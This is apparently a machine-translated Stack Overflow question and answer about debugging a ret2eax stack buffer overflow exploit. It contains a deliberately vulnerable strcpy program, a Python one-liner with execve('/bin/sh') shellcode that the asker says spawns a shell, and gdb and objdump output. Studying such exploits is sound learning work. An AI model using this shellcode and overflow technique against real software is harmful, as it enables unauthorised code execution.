ret2eax的问题

时间:2014-02-22 20:43:50

标签: c assembly buffer-overflow shellcode

我在尝试覆盖保存的返回地址时遇到了一些问题。这是我的代码:

  1 #include <stdio.h>
  2 #include <string.h>
  3 
  4 void foo(char *source)
  5 {
  6     char buf[64];
  8     printf("buf address: %p\n", buf);
  9     strcpy(buf, source);
 11 }
 12 int main(int argc, char **argv)
 13 {
 14     if(argc > 1)
 15         foo(argv[1]);
 16     else
 17         exit(0);
 18 
 19   return 0;
 20 }

首先简单易用:

./vuln `python -c 'print "\x90"*24+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"+"\x10\xe3\xff\xff\xff\x7f"'`
buf address: 0x7fffffffe310

- &GT;产生一个壳

现在无需重新输入printf以获取我的shellcode地址。我想试试ret2eax。

所以我用objdump找到了它的地址:

00000000004004bc <call_gmon_start>:
  4004bc:   48 83 ec 08             sub    $0x8,%rsp
  4004c0:   48 8b 05 11 05 20 00    mov    0x200511(%rip),%rax        # 6009d8 <_DYNAMIC+0x1e0>
  4004c7:   48 85 c0                test   %rax,%rax
  4004ca:   74 02                   je     4004ce <call_gmon_start+0x12>
  4004cc:   ff d0                   callq  *%rax
  4004ce:   48 83 c4 08             add    $0x8,%rsp

或者在这里:

0000000000400570 <frame_dummy>:
  400570:   48 83 3d 78 02 20 00    cmpq   $0x0,0x200278(%rip)        # 6007f0 <__JCR_END__>
  400577:   00 
  400578:   74 1b                   je     400595 <frame_dummy+0x25>
  40057a:   b8 00 00 00 00          mov    $0x0,%eax
  40057f:   48 85 c0                test   %rax,%rax
  400582:   74 11                   je     400595 <frame_dummy+0x25>
  400584:   55                      push   %rbp
  400585:   bf f0 07 60 00          mov    $0x6007f0,%edi
  40058a:   48 89 e5                mov    %rsp,%rbp
  40058d:   ff d0                   callq  *%rax

但是当我写道:

./vuln `python -c 'print "\x90"*24+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"+"\x8d\x05\x40"'`

- &GT;我只是得到了一个分段错误,为什么会这样?

使用gdb和foo()中retq的断点:

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe332 in ?? ()
(gdb) x/i $rip
=> 0x7fffffffe332:  sbb    (%rax),%al

如果需要,反汇编foo():

   0x000000000040059c <+0>: push   %rbp
   0x000000000040059d <+1>: mov    %rsp,%rbp
   0x00000000004005a0 <+4>: sub    $0x50,%rsp
   0x00000000004005a4 <+8>: mov    %rdi,-0x48(%rbp)
   0x00000000004005a8 <+12>:    lea    -0x40(%rbp),%rax
   0x00000000004005ac <+16>:    mov    %rax,%rsi
   0x00000000004005af <+19>:    mov    $0x4006bc,%edi
   0x00000000004005b4 <+24>:    mov    $0x0,%eax
   0x00000000004005b9 <+29>:    callq  0x400460 <printf@plt>
   0x00000000004005be <+34>:    mov    -0x48(%rbp),%rdx
   0x00000000004005c2 <+38>:    lea    -0x40(%rbp),%rax
   0x00000000004005c6 <+42>:    mov    %rdx,%rsi
   0x00000000004005c9 <+45>:    mov    %rax,%rdi
   0x00000000004005cc <+48>:    callq  0x400450 <strcpy@plt>
   0x00000000004005d1 <+53>:    leaveq 
=> 0x00000000004005d2 <+54>:    retq  

1 个答案:

答案 0 :(得分:0)

你没有粘贴函数foo的汇编代码,但我假设编译器在堆栈上使用了一个局部变量来存储ptr的值,而这个变量碰巧位于上面您的数组在您已覆盖的内存区域中。这一切归结为rax将不包含指向缓冲区中代码的指针。 作为参考,我的非优化版本如下所示:

   0x00000000004005c6 <+42>:    mov    -0x58(%rbp),%rdx
   0x00000000004005ca <+46>:    lea    -0x50(%rbp),%rax
   0x00000000004005ce <+50>:    mov    %rdx,%rsi
   0x00000000004005d1 <+53>:    mov    %rax,%rdi
   0x00000000004005d4 <+56>:    callq  0x400450 <strcpy@plt>
   0x00000000004005d9 <+61>:    mov    -0x8(%rbp),%rax
   0x00000000004005dd <+65>:    leaveq
   0x00000000004005de <+66>:    retq

正如您所见,buf位于rbp-0x50ptr位于rbp-8,位于数组和返回地址之间。由于strcpy返回目标参数,因此您可以将C代码更改为return strcpy(buf, source)。此外,启用优化可以消除局部变量,从而解决问题,但这不是很可靠。

鉴于您已经在gdb,您应该在发生故障时检查rax中的值,因为这几乎是导致崩溃的唯一原因。< / p>